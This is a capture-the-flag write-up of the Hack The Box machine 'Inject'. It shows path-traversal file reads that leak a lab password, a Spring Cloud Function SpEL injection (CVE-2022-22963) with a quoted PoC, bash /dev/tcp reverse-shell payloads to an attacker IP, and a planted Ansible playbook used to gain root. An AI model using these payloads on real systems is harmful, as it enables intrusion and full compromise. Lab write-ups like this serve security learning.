

Inject_writeup

Key take aways

- LFI in Java can disclose directory listing, but not in python and any other language (reference from Ippsec).
- Cronjob exploitation on ansible to get root.

Enumeration

- We first do some nmap

```
sudo nmap 10.10.11.204 -sC -sV -oA nmap/Inject
```

```
[*]$ sudo nmap 10.10.11.204 -sC -sV -oA nmap/Inject
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-12 21:59 AEST
Nmap scan report for 10.10.11.204
Host is up (0.022s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
|   256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
|_  256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
8080/tcp  open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

FFuf

-> Extension fuzzing

```
ffuf -w /opt/SecLists/Discovery/Web-Content/web-extensions.txt:FUZZ -u
http://10.10.11.204:8080/indexFUZZ
```

-> Nothing much obtained

Web enum

-> Looking at error message in attempt to identify the backend tech stack:



HTTP Status 404 – Not Found

-> Some quick searching shows:

But none of those work. They all keep returning a HTTP 404 error like below in Tomcat 6/7/8:

HTTP Status 404 — /servlet

Description: The requested resource (/servlet) is not available.

Or as below in Tomcat 8.5/9:

HTTP Status 404 — Not Found

Message: /servlet

Description: The origin server did not find a current representation for the target resource or is not willing to disclose that one exists

-> That this is likely a tomcat web server, which also runs on port 8080.

- We found a upload form and attempt to see if it is vulnerable to any other attacks

A screenshot of a web browser window. The address bar shows the URL `http://10.10.11.204:8080/upload`. The page content is a simple form with a single input field labeled "Browse..." containing the text "water.jpg". To the right of the input field is a yellow "Upload" button.

A screenshot of a web browser window. The address bar shows the URL `http://10.10.11.204:8080/upload`. The page content displays a success message "Uploaded!" above a link "View your Image". Below the message is a file input field with the placeholder "Browse... No file selected." and a yellow "Upload" button.

-> Viewing image

http://10.10.11.204:8080/show_image?img=water.jpg



-> Maybe it is vulnerable to file inclusion, giving it a try:

http://10.10.11.204:8080/show_image?img=../../../../etc/passwd

The image "http://10.10.11.204:8080/show_image?img=../../../../etc/passwd" cannot be displayed because it contains errors.

-> Using burp to intercept and trying again:

The screenshot shows the Burp Suite interface with two panes: Request and Response.

Request:

```
1 GET /show_image?img=
    ../../../../../../etc/passwd
    HTTP/1.1
2 Host: 10.10.11.204:8080
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
```

Response:

```
1 HTTP/1.1 200
2 Accept-Ranges: bytes
3 Content-Type: image/jpeg
4 Content-Length: 1986
5 Date: Fri, 12 Jul 2024 12:11:06 GMT
6 Connection: close
7
8 root:x:0:0:root:/root:/bin/bash
9 daemon:x:1:1:daemon:/usr/sbin:/bin/ls
```

-> It is vulnerable to LFI.

-> Log poisoning attempt failed (session poisoning and server log wouldn't work). So we will look at file source leakage.

- File source read

-> Start from bottom folder and try and understand the functionality of the website

The screenshot shows the Burp Suite interface with two panes: Request and Response.

Request:

```
1 GET /show_image?img=
    ../../../../../../| HTTP/1.1
2 Host: 10.10.11.204:8080
3 User-Agent: Mozilla/5.0
    (Windows NT 10.0; rv:109.0)
    Gecko/20100101 Firefox/115.0
4 Accept:
    text/html,application/xhtml+xml,
    application/xml;q=0.9,image/avif,
    image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate,
```

Response:

```
1 HTTP/1.1 200
2 Accept-Ranges: bytes
3 Content-Type: image/jpeg
4 Content-Length: 4096
5 Date: Fri, 12 Jul 2024 12:24:33 GMT
6 Connection: close
7
8 backups
9 cache
10 crash
11 lib
12 local
13 local
```

2 × +

Send ⚙ Cancel < | > | Target: http://

Request	Response
Pretty Raw Hex	Pretty Raw Hex Render
1 GET /show_image?img=../../../../ HTTP/1.1 2 Host: 10.10.11.204:8080 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, ...	1 HTTP/1.1 200 2 Accept-Ranges: bytes 3 Content-Type: image/jpeg 4 Content-Length: 4096 5 Date: Fri, 12 Jul 2024 12:25:36 6 Connection: close 7 8 html 9 WebApp 10

② ⚙ Search 0 highlights

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logs

Learn Decoder Improved

2 × +

Send ⚙ Cancel < | > | Target:

Request	Response
Pretty Raw Hex	Pretty Raw Hex Render
1 GET /show_image?img=../../../../ HTTP/1.1 2 Host: 10.10.11.204:8080 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, ...	1 .classpath 2 .DS_Store 3 .idea 4 .project 5 .settings 6 HELP.md 7 mvnw 8 mvnw.cmd 9 pom.xml 10 src 11 target 12

② ⚙ Search 0 highlights

-> pom.xml, unsure what that is, let's take a look online



pom.xml

[Q All](#) [Images](#) [Videos](#) [News](#) [Maps](#) [Shopping](#)[Chat](#) [Settings](#) Always private Australia Safe search: moderate Any time <https://maven.apache.org/guides/introduction/introduction-to-the-pom.html>

Introduction to the POM - Apache Maven

2 days ago · Learn what a POM is, how to create and configure it, and how to use project inheritance and aggregation in Maven. A POM is an XML file that contains information and configuration for a Maven project.

The Build Lifecycle

This is an almost standard set of bindings; however, some packagings...

Dependency Mechanism

Introduction to the Dependency Mechanism Dependency management...

Naming Conventions

Guide to naming conventions on groupId, artifactId, and version. group...

Profiles

If you want to redirect the output from the plugin to a file called effective....

Standard Directory Layout

At the top level, files descriptive of the project: a pom.xml file. In addition, ther...

Pom Reference

What is the POM? POM stands for "Project Object Model". It is an XML...

<https://maven.apache.org/pom.html>

Maven - POM Reference

2 days ago · Learn how to use pom.xml to declare the configuration, dependencies, and relationships of a Maven project. The POM contains the project coordinates, packaging, build settings, and other elements that define the project's lifecycle and behavior.

<https://www.geeksforgeeks.org/maven-pom>

Maven POM - GeeksforGeeks

Jun 21, 2024 · Maven Project Object Model (POM) is a fundamental concept in Apache Maven. The POM is an XML-based file that contains project configuration.

-> Seems to be configuration file for maven:

Introduction

Maven, a [Yiddish word](#) meaning *accumulator of knowledge*, began as an attempt to simplify the build processes in the Jakarta Turbine project. There were several projects, each with their own Ant build files, that were all slightly different. JARs were checked into CVS. We wanted a standard way to build the projects, a clear definition of what the project consisted of, an easy way to publish project information, and a way to share JARs across several projects.

The result is a tool that can now be used for building and managing any Java-based project. We hope that we have created something that will make the day-to-day work of Java developers easier and generally help with the comprehension of any Java-based project.

Maven's Objectives

Maven's primary goal is to allow a developer to comprehend the complete state of a development effort in the shortest period of time. In order to attain this goal, Maven deals with several areas of concern:

- Making the build process easy
- Providing a uniform build system
- Providing quality project information
- Encouraging better development practices

Making the build process easy

While using Maven doesn't eliminate the need to know about the underlying mechanisms, Maven does shield developers from many details.

<https://www.browserstack.com/guide/what-is-maven-in-java>

What is Maven in Java? (Framework and Uses) | BrowserStack

Jul 26, 2023 · **Maven** is an open-source tool for automating and managing Java projects. Learn how **Maven** creates project structure, handles dependencies, executes tests, and publishes artifacts.

-> Maven is a tool for managing Java projects and POM.xml seems to be an information and configuration file for it.

Maven Project Structure

```
project-root/
|   +-- src/
|   |   +-- main/
|   |   |   +-- java/           # Java source files
|   |   |   |   +-- com/
|   |   |   |   |   +-- example/
|   |   |   |   |   |   +-- MyApp.java
|   |   |   +-- resources/      # Non-Java resources (properties files, etc.)
|   |   +-- webapp/           # Web application resources (for web projects)
|
|   +-- test/
|       +-- java/           # Test source files
|           +-- com/
|               +-- example/
|                   +-- MyAppTest.java
|       +-- resources/        # Test resources
|
+-- target/                  # Compiled classes and built artifacts
+-- pom.xml                   # Project Object Model file
```

Maven provides a standard Project folder structure you can observe this in the above image.

- src/main/java: It contains the main Java source code.
- src/main/resources: It contains non-Java resources used by the application.
- src/main/webapp: It contains resources for web applications.
- src/test/java: It contains test source code.
- src/test/resources: It contains resources used for testing.
- target: It contains compiled classes, packaged JARs/WARs, and other built artifacts.
- pom.xml: The Project Object Model file that defines the project configuration, dependencies, and build settings.

-> This seems to be what our target looks like!

-> Doing further look up on vulnerabilities shows that dependencies can be vulnerable:

The screenshot shows a search results page with three main links:

- pom.xml vulnerabilities**: A link to a Stack Overflow question about addressing critical vulnerabilities in Maven dependencies.
- vulnerable dependency maven:org.yaml:snakeyaml**: A link to another Stack Overflow question about fixing a vulnerability in the snakeyaml dependency.
- How to identify vulnerable dependencies in a Maven project - Nullbe...**: A link to a Nullbeans article on identifying Maven project vulnerabilities.

Each link includes a snippet of the page content and a timestamp indicating when it was last updated or posted.

- Disclosing this file we see that it is likely running the spring framework in java.

```

Request
Pretty Raw ⌂ \n ≡
1 GET /show_image
?img=
../../../../pom.xml
2 Host:
10.10.11.204:80
80
3 User-Agent:
Mozilla/5.0
(Windows NT
10.0; rv:109.0)
Gecko/20100101
Firefox/115.0

Response
Pretty Raw Hex Render
10 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
11 xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
12 <modelVersion>4.0.0</modelVersion>
13 <parent>
14   <groupId>org.springframework.boot</groupId>
15   <artifactId>spring-boot-starter-parent</artifactId>
16   <version>2.6.5</version>
17   <relativePath/> <!-- lookup parent from repository -->
18 <groupId>com.example</groupId>
19 <artifactId>WebApp</artifactId>
20 <version>0.1-SNAPSHOT</version>

```

-> We look at the source code to collect more info about the web server

Request	Response
Pretty Raw Hex ⌂ \n ≡ 1 GET /show_image?img= ../../../../src/main/java/com/ example/WebApp/user/User.java va HTTP/1.1 2 Host: 10.10.11.204:8080 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: text/html,application/xhtml+xml, +xml,application/xml;q=0.9,	Pretty Raw Hex Render 1 HTTP/1.1 200 2 Accept-Ranges: bytes 3 Content-Type: image/jpeg 4 Content-Length: 1430 5 Date: Fri, 12 Jul 2024 12:36:44 GM 6 Connection: close 7 8 //package com.example.WebApp.user; 9 // 10 //import org.hibernate.annotations 11 //import org.hibernate.annotations.ValueGen

Request	Response
<pre>Pretty Raw Hex 1 GET /show_image?img= ../../src/main/java/com/example/WebApp/user/UserController.java HTTP/1.1 2 Host: 10.10.11.204:8080 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 DNT: 1</pre>	<pre>Pretty Raw Hex Render 37 38 @GetMapping("") 39 public String homepage(){ 40 return "homepage"; 41 } 42 43 @GetMapping("/register") 44 public String signUpFormGET(){ 45 return "under"; 46 } 47 48 @RequestMapping(value = "/upload", method =</pre>

-> We found our html files!

Request	Response
<pre>Pretty Raw Hex 1 GET /show_image?img= ../../target/classes/template.s HTTP/1.1 2 Host: 10.10.11.204:8080 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 DNT: 1</pre>	<pre>Pretty Raw Hex Render 2 Accept-Language: en-US,en;q=0.5 3 Content-Type: image/jpeg 4 Content-Length: 4096 5 Date: Fri, 12 Jul 2024 12:00:00 GMT 6 Connection: close 7 8 blog.html 9 change.html 10 homepage.html 11 under.html 12 upload.html 13</pre>

... and so on

-> Nothing much really obtained.

-> Looking at other directories

Request	Response
<pre>Pretty Raw Hex 1 GET /show_image?img= ../../../../../../home HTTP/1.1 2 Host: 10.10.11.204:8080 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,image/avif,image/webp,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 DNT: 1 8 Connection: close 9 10</pre>	<pre>Pretty Raw Hex Render 1 HTTP/1.1 200 2 Accept-Ranges: b 3 Content-Type: im 4 Content-Length: 5 Date: Fri, 12 Ju GMT 6 Connection: clos 7 8 frank 9 phil 10</pre>

-> We have the frank and phil users

-> Doing more disclosure we found the credential phil:DocPhillovestoInject123

Request	Response
<pre>Pretty Raw Hex 1 GET /show_image?img= ../../../../../../home/frank/.m2/setting gs.xml HTTP/1.1 2 Host: 10.10.11.204:8080 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,image/avif,image/webp,*/*;q=0. 8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 DNT: 1</pre>	<pre>Pretty Raw Hex Render 1 https://maven.apache.org/xsd/maven -4.0.0.xsd"> 11 <servers> 12 <server> 13 <id>Inject</id> 14 <username>phil</username> 15 <password>DocPhillovestoInject123< /password> 16 <privateKey>\${user.home}/.ssh/id_d sa</privateKey> 17</pre>

-> Found user flag

Request

```
Pretty Raw Hex
1 GET /show_image?img=
    ../../../../../../home/phil/ HTTP/1.1
2 Host: 10.10.11.204:8080
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 DNT: 1
8
9
10
11
12
13
```

Response

```
Pretty Raw Hex Render
2 Accept-Ranges: bytes
3 Content-Type: image/jpeg
4 Content-Length: 40
5 Date: Fri, 12 Jul 2024 12:42:50 GMT
6 Connection: close
7
8 .bash_history
9 .bashrc
10 .cache
11 .profile
12 user.txt
13
```

Request

```
Pretty Raw Hex
1 GET /show_image?img=
    ../../../../../../home/phil/user.txt
    HTTP/1.1
2 Host: 10.10.11.204:8080
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 DNT: 1
8
```

Response

```
Pretty Raw Hex Render
1 HTTP/1.1 200
2 Accept-Ranges: bytes
3 Content-Type: image/jpeg
4 Content-Length: 33
5 Date: Fri, 12 Jul 2024 12:42:50 GMT
6 Connection: close
7
8
```

-> But can't read.

Summary of enumeration

-> We seem to be dealing with an Linux Ubuntu that runs Apache Tomcat web-server that has a functionality vulnerable to file uploads, through which it leaks a lot of information, including credentials.

Exploitation - Spring Cloud Function SpEL Injection

- We see from the pom.xml file that one of the dependencies is vulnerable to SpEL injection: <https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection->

vulnerability-alert/

```
42 >    >    <dependency>$
43 >    >    >    <groupId>org.springframework.cloud</groupId>$
44 >    >    >    <artifactId>spring-cloud-function-web</artifactId>$
45 >    >    >    <version>3.2.2</version>$
```

- which has an PoC on <https://github.com/dinosn/CVE-2022-22963/blob/main/poc.py>

```
8 def scan(txt,cmd):
9
10    payload=f'T(java.lang.Runtime).getRuntime().exec("{cmd}")'
11
12    data ='test'
13    headers = {
14        'spring.cloud.function.routing-expression':payload,
15        'Accept-Encoding': 'gzip, deflate',
16        'Accept': '*/*',
17        'Accept-Language': 'en',
18        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
19        'Content-Type': 'application/x-www-form-urlencoded'
20    }
21    path = '/functionRouter'
22    f = open(txt)
23    urllist=f.readlines()
24
25    for url in urllist :
26        url = url.strip('\n')
27        all = url + path
28        try:
29            req=requests.post(url=all,headers=headers,data=data,verify=False,timeout=3)
30            code =req.status_code
31            text = req.text
32            rsp = "error":"Internal Server Error"
33
```

-> We can run the exploit using burpsuite as follows, using the spring.cloud.function.routing-expression header with the path /functionRouter

Request

Pretty Raw Hex ⌂ ⌂ ⌂

```
1 GET /functionRouter HTTP/1.1
2 spring.cloud.function.routing-expression:
  T(java.lang.Runtime).getRuntime()
    ().exec("ls")
3 Host: 10.10.11.204:8080
4 User-Agent: Mozilla/5.0
  (Windows NT 10.0; rv:109.0)
  Gecko/20100101 Firefox/115.0
5 Accept:
  text/html,application/xhtml+xml
  ,application/xml;q=0.9,image/avif
  ,image/webp,*/*;q=0.8
```

Response

Pretty Raw Hex Render ⌂ ⌂ ⌂

```
1 HTTP/1.1 500
2 Content-Type: text/html; charset=UTF-8
3 Content-Language: en
4 Content-Length: 455
5 Date: Tue, 16 Jul 2024
  12:02:57 GMT
6 Connection: close
7
8 <!doctype html><html lang="en">
  <head>
```

-> Hence we see that we have an error 500 code.

-> We can craft an bash tcp reverse shell base64 encoded so we don't pass bad characters like single quote inside the function and see if it works or not.

```
echo 'bash -i >& /dev/tcp/10.10.16.16/443 0>&1' | base64
```

```
[★]$ echo 'bash -i >& /dev/tcp/10.10.16.16/443 0>&1' | base64  
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNi80NDMgMD4mMQo=
```

-> We now get rid of special characters (e.g. + and = in base64 which my screw things up)

```
echo 'bash -i >& /dev/tcp/10.10.16.16/443 0>&1' | base64
```

```
[★]$ echo 'bash -i >& /dev/tcp/10.10.16.16/443 0>&1' | base64  
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTYvNDQzICAwPiYxICAK
```

-> Testing this payload works

```
echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTYvNDQzICAwPiYxICAK |  
base64 -d | bash
```

```
sudo nc -lvp 443
```

```
[★]$ echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTAvNDQzICAwPiYxICAK | ba  
se64 -d | bash  
Device "ens33" does not exist.  
[★]-[eric@parrot]-(~/Desktop/htb]  
[★]$ sudo nc -lvp 443  
listening on [any] 443 ...  
connect to [10.10.16.10] from (UNKNOWN) [10.10.16.10] 56428  
Device "ens33" does not exist.
```

-> Now putting this payload into burp with brace expansion (acting as space) and change the request to post request in burp

```
spring.cloud.function.routing-expression:  
T(java.lang.Runtime).getRuntime().exec("bash -c  
{echo, YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTYvNDQzICAwPiYxICAK} |  
{base64, -d} | bash")
```

```
spring.cloud.function.routing-expression:  
T(java.lang.Runtime).getRuntime().exec("bash -c  
{echo ,YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTAvNDQzI  
CAwPiYxICAk} | {base64 , -d} | bash")
```

From low privilege shell to root

-> Executing it, we get a shell

```
└── [★]$ sudo nc -lvp 443  
listening on [any] 443 ...  
connect to [10.10.16.16] from (UNKNOWN) [10.10.11.204] 42784  
bash: cannot set terminal process group (791): Inappropriate ioctl for device  
bash: no job control in this shell  
frank@inject:/$ whoami  
whoami  
frank  
frank@inject:/$
```

-> We will upgrade our shell

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

-> We recall what we saw in the m2 directory of the credential, some searching shows:

A screenshot of a web browser showing search results for "what is the .m2 directory". The search bar contains the query. Below the search bar are filters: "All", "Images", "Videos", "News", "Maps", "Shopping", "Chat", and a gear icon. Further down are search modifiers: "Always private" (checked), "Australia", "Safe search: moderate", and "Any time". The first result is a link to a Stack Overflow question titled "java - what is .m2 folder, how can I configure it if I have two repos ...". The snippet of the page content describes the .m2 folder as the default folder used by Maven to store its settings.xml file, specifying properties like the central repository and localRepository.

-> We look at the sshd file to see if we can ssh as phil

```
cat /etc/ssh/sshd_config | grep -v ^# | grep .
```

```
frank@inject:/home$ cat /etc/ssh/sshd_config | grep -v ^# | grep .  
cat /etc/ssh/sshd_config | grep -v ^# | grep .  
Include /etc/ssh/sshd_config.d/*.conf  
DenyUsers phil  
ChallengeResponseAuthentication no  
UsePAM yes  
X11Forwarding yes  
PrintMotd no  
AcceptEnv LANG LC_*
```

```
Subsystem sftp /usr/lib/openssh/sftp-server
```

-> So we can't ssh as phil

-> We change the user to phil using su using password previously found

```
su phil
```

```
frank@inject:/home$ su phil  
su phil  
Password: DocPhillovestoInject123  
phil@inject:/home$
```

-> We look at what the user phil owns and the group he owns

```
find / -user phil 2>/dev/null | grep -v '^/proc\|^/sys\|^/run'  
groups  
find / -group staff -writable 2>/dev/null | grep -v '^/proc\|^/sys\|^/run'
```

```
phil@inject:/home/frank$ find / -group staff -writable 2>/dev/null | grep -v '^/proc\|^/sys\|^/run'
<itable 2>/dev/null | grep -v '^/proc\|^/sys\|^/run'
/opt/automation/tasks
/var/local
/usr/local/lib/python3.8
/usr/local/lib/python3.8/dist-packages
/usr/local/share/fonts
```

-> the /opt/automaton/tasks seems interesting

-> We go to the directory and look at it

```
ls -la
cat playbook_1.yml
```

```
frank@inject:/opt/automation/tasks$ ls -la
ls -la
total 24
drwxrwxr-x 2 root staff 4096 Jul 17 10:20 .
drwxr-xr-x 3 root root 4096 Oct 20 2022 ..
-rw-r--r-- 1 root root 150 Jul 17 10:20 playbook_1.yml
```

```
phil@inject:/opt/automation/tasks$ ls
ls
playbook_1.yml
phil@inject:/opt/automation/tasks$ cat playbook_1.yml
cat playbook_1.yml
- hosts: localhost
  tasks:
    - name: Checking webapp service
      ansible.builtin.systemd:
        name: webapp
        enabled: yes
        state: started
```

-> This is running an ansible playbook running as root

The screenshot shows a search results page from a search engine. The query "what is ansible playbook" is entered in the search bar. The results are filtered by "All" and set to "Always private". The results include a link to Red Hat's documentation on Ansible Playbooks, which defines it as a blueprint of automation tasks. There are also other search results related to Ansible Playbooks.

-> We can see who is executing this blue print of automation tasks through pspy (we transfer it to the host first)

The screenshot shows a terminal session with the command "./pspy64" run. The output of pspy shows numerous processes with PID values ranging from 1 to 20729, all running as UID=0 (root). In the background, a browser window displays the Red Hat documentation for Ansible Playbooks, which defines it as a blueprint of automation tasks. The terminal session also shows a note about transferring the exploit to the host first.

-> We see that it is running root is the any .yml playbook under the automation directory

```

2024/07/17 10:17:18 CMD: UID=0 PID=5 | Deploying SOC server on Linux ...
2024/07/17 10:17:18 CMD: UID=0 PID=2 | Run Ansible Playbook from endpoint
2024/07/17 10:17:18 CMD: UID=0 PID=1 | /sbin/init auto automatic-ubiquity noprompt
2024/07/17 10:17:18 CMD: UID=0 PID=20729 |
2024/07/17 10:18:01 CMD: UID=0 PID=20735 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
2024/07/17 10:18:01 CMD: UID=0 PID=20734 | /usr/sbin/CRON -f
2024/07/17 10:18:01 CMD: UID=0 PID=20733 | /usr/sbin/CRON -f
2024/07/17 10:18:01 CMD: UID=0 PID=20732 | /usr/sbin/CRON -f
2024/07/17 10:18:01 CMD: UID=0 PID=20731 | /usr/sbin/CRON -f
2024/07/17 10:18:01 CMD: UID=0 PID=20736 | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml
2024/07/17 10:18:01 CMD: UID=0 PID=20737 |

```

-> We can create our own playbook adn create an reverse shell as follows

```

cp playbook_1.yml shell.yml

vim shell1.yml # edit this file

```

```

1 - hosts: localhost$ → We see the PoC
2   tasks:$
3     - name: Checking Webapp service$ → We see the PoC
4       shell:$
5         cmd: bash -c 'bash -i >& /dev/tcp/10.10.16.16/9001 0>&1'$ → We have the frank and phil users

```

-> Eventually, we get the shell after a while waiting

```

└── [!]$ nc -lvpn 9001
listening on [any] 9001 ...
connect to [10.10.16.16] from (UNKNOWN) [10.10.11.204] 32962
bash: cannot set terminal process group (22909): Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks# ls
ls
playbook_1.yml
root@inject:/opt/automation/tasks# 

```